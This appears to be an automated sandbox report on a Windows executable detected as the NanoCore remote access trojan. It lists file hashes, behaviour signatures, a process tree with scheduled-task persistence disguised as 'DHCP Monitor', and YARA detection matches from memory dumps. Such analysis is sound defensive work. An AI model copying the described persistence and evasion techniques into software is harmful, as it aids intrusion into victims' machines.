Play interactive tour

Edit tour

Windows Analysis Report FYrMKmDjFi.exe

Overview

General Information

Sample Name:	FYrMKmDjFi.exe
Analysis ID:	500510
MD5:	f76bc0e1dd77808d3668b3a169155dec
SHA1:	d4770ddfa3bff74a0b9c00d6acecc87d60212fe1
SHA256:	34acd51df743b093c9eda93ebf46db0095fe2bdd4ee58d18c65e8914790f337d
Tags:	exeNanoCore
Infos:
Most interesting Screenshot:

Detection

Nanocore

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sigma detected: NanoCore

Detected Nanocore Rat

Yara detected Nanocore RAT

Writes to foreign memory regions

Machine Learning detection for sample

Allocates memory in foreign processes

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Installs a raw input device (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Drops PE files

Detected TCP or UDP traffic on non-standard ports

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

FYrMKmDjFi.exe (PID: 6504 cmdline: 'C:\Users\user\Desktop\FYrMKmDjFi.exe' MD5: F76BC0E1DD77808D3668B3A169155DEC)

FYrMKmDjFi.exe (PID: 4324 cmdline: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe MD5: F76BC0E1DD77808D3668B3A169155DEC)

schtasks.exe (PID: 7032 cmdline: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp563.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 7120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 6416 cmdline: 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp8B0.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

FYrMKmDjFi.exe (PID: 6112 cmdline: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe 0 MD5: F76BC0E1DD77808D3668B3A169155DEC)

FYrMKmDjFi.exe (PID: 6816 cmdline: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe MD5: F76BC0E1DD77808D3668B3A169155DEC)

dhcpmon.exe (PID: 6664 cmdline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0 MD5: F76BC0E1DD77808D3668B3A169155DEC)

dhcpmon.exe (PID: 4700 cmdline: C:\Users\user\AppData\Local\Temp\dhcpmon.exe MD5: F76BC0E1DD77808D3668B3A169155DEC)

dhcpmon.exe (PID: 6916 cmdline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' MD5: F76BC0E1DD77808D3668B3A169155DEC)

dhcpmon.exe (PID: 5656 cmdline: C:\Users\user\AppData\Local\Temp\dhcpmon.exe MD5: F76BC0E1DD77808D3668B3A169155DEC)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x10165:$x1: NanoCore.ClientPluginHost 0x101a2:$x2: IClientNetworkHost 0x13cd5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfecd:$a: NanoCore 0xfedd:$a: NanoCore 0x10111:$a: NanoCore 0x10125:$a: NanoCore 0x10165:$a: NanoCore 0xff2c:$b: ClientPlugin 0x1012e:$b: ClientPlugin 0x1016e:$b: ClientPlugin 0x10053:$c: ProjectData 0x10a5a:$d: DESCrypto 0x18426:$e: KeepAlive 0x16414:$g: LogClientMessage 0x1260f:$i: get_Connected 0x10d90:$j: #=q 0x10dc0:$j: #=q 0x10ddc:$j: #=q 0x10e0c:$j: #=q 0x10e28:$j: #=q 0x10e44:$j: #=q 0x10e74:$j: #=q 0x10e90:$j: #=q
0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x109e5:$x1: NanoCore.ClientPluginHost 0x10a22:$x2: IClientNetworkHost 0x14555:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x1074d:$a: NanoCore 0x1075d:$a: NanoCore 0x10991:$a: NanoCore 0x109a5:$a: NanoCore 0x109e5:$a: NanoCore 0x107ac:$b: ClientPlugin 0x109ae:$b: ClientPlugin 0x109ee:$b: ClientPlugin 0x108d3:$c: ProjectData 0x112da:$d: DESCrypto 0x18ca6:$e: KeepAlive 0x16c94:$g: LogClientMessage 0x12e8f:$i: get_Connected 0x11610:$j: #=q 0x11640:$j: #=q 0x1165c:$j: #=q 0x1168c:$j: #=q 0x116a8:$j: #=q 0x116c4:$j: #=q 0x116f4:$j: #=q 0x11710:$j: #=q
00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd0785:$x1: NanoCore.ClientPluginHost 0xd07c2:$x2: IClientNetworkHost 0xd42f5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xd04ed:$a: NanoCore 0xd04fd:$a: NanoCore 0xd0731:$a: NanoCore 0xd0745:$a: NanoCore 0xd0785:$a: NanoCore 0xd054c:$b: ClientPlugin 0xd074e:$b: ClientPlugin 0xd078e:$b: ClientPlugin 0xd0673:$c: ProjectData 0xd107a:$d: DESCrypto 0xd8a46:$e: KeepAlive 0xd6a34:$g: LogClientMessage 0xd2c2f:$i: get_Connected 0xd13b0:$j: #=q 0xd13e0:$j: #=q 0xd13fc:$j: #=q 0xd142c:$j: #=q 0xd1448:$j: #=q 0xd1464:$j: #=q 0xd1494:$j: #=q 0xd14b0:$j: #=q
00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x10f8d:$x1: NanoCore.ClientPluginHost 0x10fca:$x2: IClientNetworkHost 0x14afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x10cf5:$a: NanoCore 0x10d05:$a: NanoCore 0x10f39:$a: NanoCore 0x10f4d:$a: NanoCore 0x10f8d:$a: NanoCore 0x10d54:$b: ClientPlugin 0x10f56:$b: ClientPlugin 0x10f96:$b: ClientPlugin 0x10e7b:$c: ProjectData 0x11882:$d: DESCrypto 0x1924e:$e: KeepAlive 0x1723c:$g: LogClientMessage 0x13437:$i: get_Connected 0x11bb8:$j: #=q 0x11be8:$j: #=q 0x11c04:$j: #=q 0x11c34:$j: #=q 0x11c50:$j: #=q 0x11c6c:$j: #=q 0x11c9c:$j: #=q 0x11cb8:$j: #=q
0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x38295:$x1: NanoCore.ClientPluginHost 0x382d2:$x2: IClientNetworkHost 0x3be05:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x37ffd:$a: NanoCore 0x3800d:$a: NanoCore 0x38241:$a: NanoCore 0x38255:$a: NanoCore 0x38295:$a: NanoCore 0x3805c:$b: ClientPlugin 0x3825e:$b: ClientPlugin 0x3829e:$b: ClientPlugin 0x38183:$c: ProjectData 0x38b8a:$d: DESCrypto 0x40556:$e: KeepAlive 0x3e544:$g: LogClientMessage 0x3a73f:$i: get_Connected 0x38ec0:$j: #=q 0x38ef0:$j: #=q 0x38f0c:$j: #=q 0x38f3c:$j: #=q 0x38f58:$j: #=q 0x38f74:$j: #=q 0x38fa4:$j: #=q 0x38fc0:$j: #=q
00000000.00000002.307988871.0000000002CEE000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xa58e1:$x1: NanoCore.ClientPluginHost 0xa591e:$x2: IClientNetworkHost 0xa9451:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000002.307988871.0000000002CEE000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xa5649:$a: NanoCore 0xa5659:$a: NanoCore 0xa588d:$a: NanoCore 0xa58a1:$a: NanoCore 0xa58e1:$a: NanoCore 0xa56a8:$b: ClientPlugin 0xa58aa:$b: ClientPlugin 0xa58ea:$b: ClientPlugin 0xa57cf:$c: ProjectData 0xa61d6:$d: DESCrypto 0xa7d8b:$i: get_Connected 0xa650c:$j: #=q 0xa653c:$j: #=q 0xa6558:$j: #=q 0xa6588:$j: #=q 0xa65a4:$j: #=q 0xa65c0:$j: #=q 0xa65f0:$j: #=q 0xa660c:$j: #=q 0xa6650:$j: #=q 0xa666c:$j: #=q
0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd0785:$x1: NanoCore.ClientPluginHost 0xd07c2:$x2: IClientNetworkHost 0xd42f5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xd04ed:$a: NanoCore 0xd04fd:$a: NanoCore 0xd0731:$a: NanoCore 0xd0745:$a: NanoCore 0xd0785:$a: NanoCore 0xd054c:$b: ClientPlugin 0xd074e:$b: ClientPlugin 0xd078e:$b: ClientPlugin 0xd0673:$c: ProjectData 0xd107a:$d: DESCrypto 0xd8a46:$e: KeepAlive 0xd6a34:$g: LogClientMessage 0xd2c2f:$i: get_Connected 0xd13b0:$j: #=q 0xd13e0:$j: #=q 0xd13fc:$j: #=q 0xd142c:$j: #=q 0xd1448:$j: #=q 0xd1464:$j: #=q 0xd1494:$j: #=q 0xd14b0:$j: #=q
0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x4356d:$a: NanoCore 0x435c6:$a: NanoCore 0x43603:$a: NanoCore 0x4367c:$a: NanoCore 0x56d27:$a: NanoCore 0x56d3c:$a: NanoCore 0x56d71:$a: NanoCore 0x6fd3b:$a: NanoCore 0x6fd50:$a: NanoCore 0x6fd85:$a: NanoCore 0x435cf:$b: ClientPlugin 0x4360c:$b: ClientPlugin 0x43f0a:$b: ClientPlugin 0x43f17:$b: ClientPlugin 0x56ae3:$b: ClientPlugin 0x56afe:$b: ClientPlugin 0x56b2e:$b: ClientPlugin 0x56d45:$b: ClientPlugin 0x56d7a:$b: ClientPlugin 0x6faf7:$b: ClientPlugin 0x6fb12:$b: ClientPlugin
0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x4356d:$a: NanoCore 0x435c6:$a: NanoCore 0x43603:$a: NanoCore 0x4367c:$a: NanoCore 0x56d27:$a: NanoCore 0x56d3c:$a: NanoCore 0x56d71:$a: NanoCore 0x6fd3b:$a: NanoCore 0x6fd50:$a: NanoCore 0x6fd85:$a: NanoCore 0x435cf:$b: ClientPlugin 0x4360c:$b: ClientPlugin 0x43f0a:$b: ClientPlugin 0x43f17:$b: ClientPlugin 0x56ae3:$b: ClientPlugin 0x56afe:$b: ClientPlugin 0x56b2e:$b: ClientPlugin 0x56d45:$b: ClientPlugin 0x56d7a:$b: ClientPlugin 0x6faf7:$b: ClientPlugin 0x6fb12:$b: ClientPlugin
0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x110dd:$x1: NanoCore.ClientPluginHost 0x1111a:$x2: IClientNetworkHost 0x14c4d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x10e45:$a: NanoCore 0x10e55:$a: NanoCore 0x11089:$a: NanoCore 0x1109d:$a: NanoCore 0x110dd:$a: NanoCore 0x10ea4:$b: ClientPlugin 0x110a6:$b: ClientPlugin 0x110e6:$b: ClientPlugin 0x10fcb:$c: ProjectData 0x119d2:$d: DESCrypto 0x1939e:$e: KeepAlive 0x1738c:$g: LogClientMessage 0x13587:$i: get_Connected 0x11d08:$j: #=q 0x11d38:$j: #=q 0x11d54:$j: #=q 0x11d84:$j: #=q 0x11da0:$j: #=q 0x11dbc:$j: #=q 0x11dec:$j: #=q 0x11e08:$j: #=q
00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000A.00000002.341870208.0000000002EBA000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x6b181:$x1: NanoCore.ClientPluginHost 0x6b1be:$x2: IClientNetworkHost 0x6ecf1:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000A.00000002.341870208.0000000002EBA000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x6aee9:$a: NanoCore 0x6aef9:$a: NanoCore 0x6b12d:$a: NanoCore 0x6b141:$a: NanoCore 0x6b181:$a: NanoCore 0x6af48:$b: ClientPlugin 0x6b14a:$b: ClientPlugin 0x6b18a:$b: ClientPlugin 0x6b06f:$c: ProjectData 0x6ba76:$d: DESCrypto 0x6d62b:$i: get_Connected 0x6bdac:$j: #=q 0x6bddc:$j: #=q 0x6bdf8:$j: #=q 0x6be28:$j: #=q 0x6be44:$j: #=q 0x6be60:$j: #=q 0x6be90:$j: #=q 0x6beac:$j: #=q 0x6bef0:$j: #=q 0x6bf0c:$j: #=q
00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x37b15:$x1: NanoCore.ClientPluginHost 0x37b52:$x2: IClientNetworkHost 0x3b685:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x3787d:$a: NanoCore 0x3788d:$a: NanoCore 0x37ac1:$a: NanoCore 0x37ad5:$a: NanoCore 0x37b15:$a: NanoCore 0x378dc:$b: ClientPlugin 0x37ade:$b: ClientPlugin 0x37b1e:$b: ClientPlugin 0x37a03:$c: ProjectData 0x3840a:$d: DESCrypto 0x3fdd6:$e: KeepAlive 0x3ddc4:$g: LogClientMessage 0x39fbf:$i: get_Connected 0x38740:$j: #=q 0x38770:$j: #=q 0x3878c:$j: #=q 0x387bc:$j: #=q 0x387d8:$j: #=q 0x387f4:$j: #=q 0x38824:$j: #=q 0x38840:$j: #=q
00000004.00000002.567450851.00000000056F0000.00000004.00020000.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
00000004.00000002.567450851.00000000056F0000.00000004.00020000.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x4356d:$a: NanoCore 0x435c6:$a: NanoCore 0x43603:$a: NanoCore 0x4367c:$a: NanoCore 0x56d27:$a: NanoCore 0x56d3c:$a: NanoCore 0x56d71:$a: NanoCore 0x6fd3b:$a: NanoCore 0x6fd50:$a: NanoCore 0x6fd85:$a: NanoCore 0x435cf:$b: ClientPlugin 0x4360c:$b: ClientPlugin 0x43f0a:$b: ClientPlugin 0x43f17:$b: ClientPlugin 0x56ae3:$b: ClientPlugin 0x56afe:$b: ClientPlugin 0x56b2e:$b: ClientPlugin 0x56d45:$b: ClientPlugin 0x56d7a:$b: ClientPlugin 0x6faf7:$b: ClientPlugin 0x6fb12:$b: ClientPlugin
0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd0785:$x1: NanoCore.ClientPluginHost 0xd07c2:$x2: IClientNetworkHost 0xd42f5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xd04ed:$a: NanoCore 0xd04fd:$a: NanoCore 0xd0731:$a: NanoCore 0xd0745:$a: NanoCore 0xd0785:$a: NanoCore 0xd054c:$b: ClientPlugin 0xd074e:$b: ClientPlugin 0xd078e:$b: ClientPlugin 0xd0673:$c: ProjectData 0xd107a:$d: DESCrypto 0xd8a46:$e: KeepAlive 0xd6a34:$g: LogClientMessage 0xd2c2f:$i: get_Connected 0xd13b0:$j: #=q 0xd13e0:$j: #=q 0xd13fc:$j: #=q 0xd142c:$j: #=q 0xd1448:$j: #=q 0xd1464:$j: #=q 0xd1494:$j: #=q 0xd14b0:$j: #=q
0000000D.00000002.357475448.00000000028AA000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x88619:$x1: NanoCore.ClientPluginHost 0x88656:$x2: IClientNetworkHost 0x8c189:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000D.00000002.357475448.00000000028AA000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x88381:$a: NanoCore 0x88391:$a: NanoCore 0x885c5:$a: NanoCore 0x885d9:$a: NanoCore 0x88619:$a: NanoCore 0x883e0:$b: ClientPlugin 0x885e2:$b: ClientPlugin 0x88622:$b: ClientPlugin 0x88507:$c: ProjectData 0x88f0e:$d: DESCrypto 0x8aac3:$i: get_Connected 0x89244:$j: #=q 0x89274:$j: #=q 0x89290:$j: #=q 0x892c0:$j: #=q 0x892dc:$j: #=q 0x892f8:$j: #=q 0x89328:$j: #=q 0x89344:$j: #=q 0x89388:$j: #=q 0x893a4:$j: #=q
0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x3820d:$x1: NanoCore.ClientPluginHost 0x3824a:$x2: IClientNetworkHost 0x3bd7d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x37f75:$a: NanoCore 0x37f85:$a: NanoCore 0x381b9:$a: NanoCore 0x381cd:$a: NanoCore 0x3820d:$a: NanoCore 0x37fd4:$b: ClientPlugin 0x381d6:$b: ClientPlugin 0x38216:$b: ClientPlugin 0x380fb:$c: ProjectData 0x38b02:$d: DESCrypto 0x404ce:$e: KeepAlive 0x3e4bc:$g: LogClientMessage 0x3a6b7:$i: get_Connected 0x38e38:$j: #=q 0x38e68:$j: #=q 0x38e84:$j: #=q 0x38eb4:$j: #=q 0x38ed0:$j: #=q 0x38eec:$j: #=q 0x38f1c:$j: #=q 0x38f38:$j: #=q
00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x380bd:$x1: NanoCore.ClientPluginHost 0x380fa:$x2: IClientNetworkHost 0x3bc2d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x37e25:$a: NanoCore 0x37e35:$a: NanoCore 0x38069:$a: NanoCore 0x3807d:$a: NanoCore 0x380bd:$a: NanoCore 0x37e84:$b: ClientPlugin 0x38086:$b: ClientPlugin 0x380c6:$b: ClientPlugin 0x37fab:$c: ProjectData 0x389b2:$d: DESCrypto 0x4037e:$e: KeepAlive 0x3e36c:$g: LogClientMessage 0x3a567:$i: get_Connected 0x38ce8:$j: #=q 0x38d18:$j: #=q 0x38d34:$j: #=q 0x38d64:$j: #=q 0x38d80:$j: #=q 0x38d9c:$j: #=q 0x38dcc:$j: #=q 0x38de8:$j: #=q
